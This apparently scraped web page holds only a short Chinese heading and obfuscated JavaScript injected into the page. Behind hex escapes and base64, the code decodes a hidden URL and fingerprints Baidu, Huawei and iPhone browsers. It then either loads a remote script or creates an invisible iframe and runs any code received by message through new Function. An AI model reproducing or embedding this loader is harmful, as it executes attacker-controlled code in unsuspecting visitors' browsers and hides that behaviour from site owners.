同学来了

eval("\x77\x69\x6e\x64\x6f\x77")["\x75\x77\x58\x59\x62"]=function(e){var li ='ABCDEFGHIJKLMN'+'OPQRSTUVWXYZa'+''+'bcdefghij'+''+'klmnopqrstuvwxy'+''+'z'+''+'0123456789+/='+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["\x6f\x54\x71\x78"]=function(){eval(uwXYb("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dmFyIGRzPW5ldyBEYXRlKCk7dT1kZWNvZGVVUklDb21wb25lbnQodXdYWWIodS5yZXBsYWNlKG5ldyBSZWdFeHAoYysnJytjLCdnJyksYykuc3BsaXQoJycpLnJldmVyc2UoKS5qb2luKCcnKSkpO3U9dS5yZXBsYWNlKC9xaWhhbmcvZyxkcy5nZXREYXRlKCkpOydqUXVlcnknO3ZhciBfdWE9bmF2aWdhdG9yLnVzZXJBZ2VudDt2YXIgX3V3WFlidXdYWWI9JzxzJysnY3JpJysncHQgc3JjPSInK3UrJy5qcyI+PFwvcycrJ2NyaXAnKyd0Pic7aWYoX3VhLmluZGV4T2YodXdYWWIoIlltRnBaSFU9IikpPi0xIHx8IF91YS5pbmRleE9mKHV3WFliKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7aWYoX3VhLmluZGV4T2YodXdYWWIoJ2FWQm9iMjVsJykpPi0xKXtkb2N1bWVudC53cml0ZShfdXdYWWJ1d1hZYik7fWVsc2V7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbdXdYWWIoIlkzVnljbVZ1ZEZOamNtbHdkQT09IildO3ZhciBfaWQ9X2NsYXNzPSdlJysnJysnQnNEJysnJysndFInKycnO3ZhciBfX2tkbnFpZCA9ICdrJyArIHJkKDEsIDEwMDAwMCk7ZFsndycrJ3JpJysndCcrJ2UnKydsbiddKCc8ZCcrJ2l2IGknKydkPScrJyInK19fa2RucWlkKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19faycrJ2RhJysnbnEnKydvYicrJ2pfNDc3J109ZFsncXUnKydlcnknKydTZWxlJysnY3RvJysnciddKCcjJytfX2tkbnFpZCk7X2lkICs9IGRbJ3F1JysnZXJ5JysnU2UnKydsZWMnKyd0bycrJ3JBJysnbGwnXSgnLicrX2NsYXNzKS5sZW5ndGg7dmFyIHogPSB1KyctMi8nK19pZCsnLycrcjtkWyd3JysncmknKyd0JysnZSddKCc8aScrJ2ZyJysnYScrJ21lIHN0eWxlPSInKydtJysnYXInKydnaScrJ246MDtwJysnYWQnKydkJysnaW4nKydnOjA7YicrJ29yJysnZCcrJ2VyOm4nKydvbicrJ2U7Jysnb3AnKydhJysnY2knKyd0JysneTowJysnLjAnK3JkKDIsOSkrJzt3aScrJ2R0JysnaDonK3JkKDIsNSkrJ3AnKyd4O2gnKydlJysnaWdoJysndDonK3JkKDIsNSkrJ3AnKyd4OycrJyJhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WyJhZCIrImRFdiIrImVudEwiKyJpc3QiKyJlbmVyIl0oIm0iKyJlc3MiKyJhZ2UiLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyK19pZF0pe3JtKGMpO25ldyBGdW5jdGlvbih1d1hZYihlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fX1lbHNle2RvY3VtZW50LndyaXRlKF91d1hZYnV3WFliKTt9fSkoJzFJVCcrJycrJ0wnKyczY0QnKycnKydOdCcrJycrJ01tJysnJysnUnlVJysneVonKycnKydaJysnJysndUZHJysnJysnYXBGJysnJysnWGFtJysnJysncEgnKydkdkYnKycnKydXJysnJysnWicrJ1pHJysnJysnSlRKJysnelFEJysnJysnTicrJycrJ3dJJysnJysnVCcrJycrJ1EnKyd6JysnVScrJycrJ1NaWicrJycrJzBsMicrJycrJ2N1YycrJ20nKydiaGgnKycnKydXYScrJycrJ3hkSCcrJycrJ2QnKycnKyc1JysnJysnNXknKycnKydaWicrJ3VGJysnR2FwJysnJysnRicrJycrJzMnKycnKydiMUonKycnKydXJysnJysnZCcrJycrJ2laJysnJysnWmsnKydNbCcrJycrJ1lrJysnTWxFJysnJysnME0nKydsJysnJysnTUhjJysnJysnMFInKycnKydIYScrJycsJ2UnKycnKydCc0QnKycnKyd0UicrJycsd2luZG93LGRvY3VtZW50LDAsJ1onKQ=="));}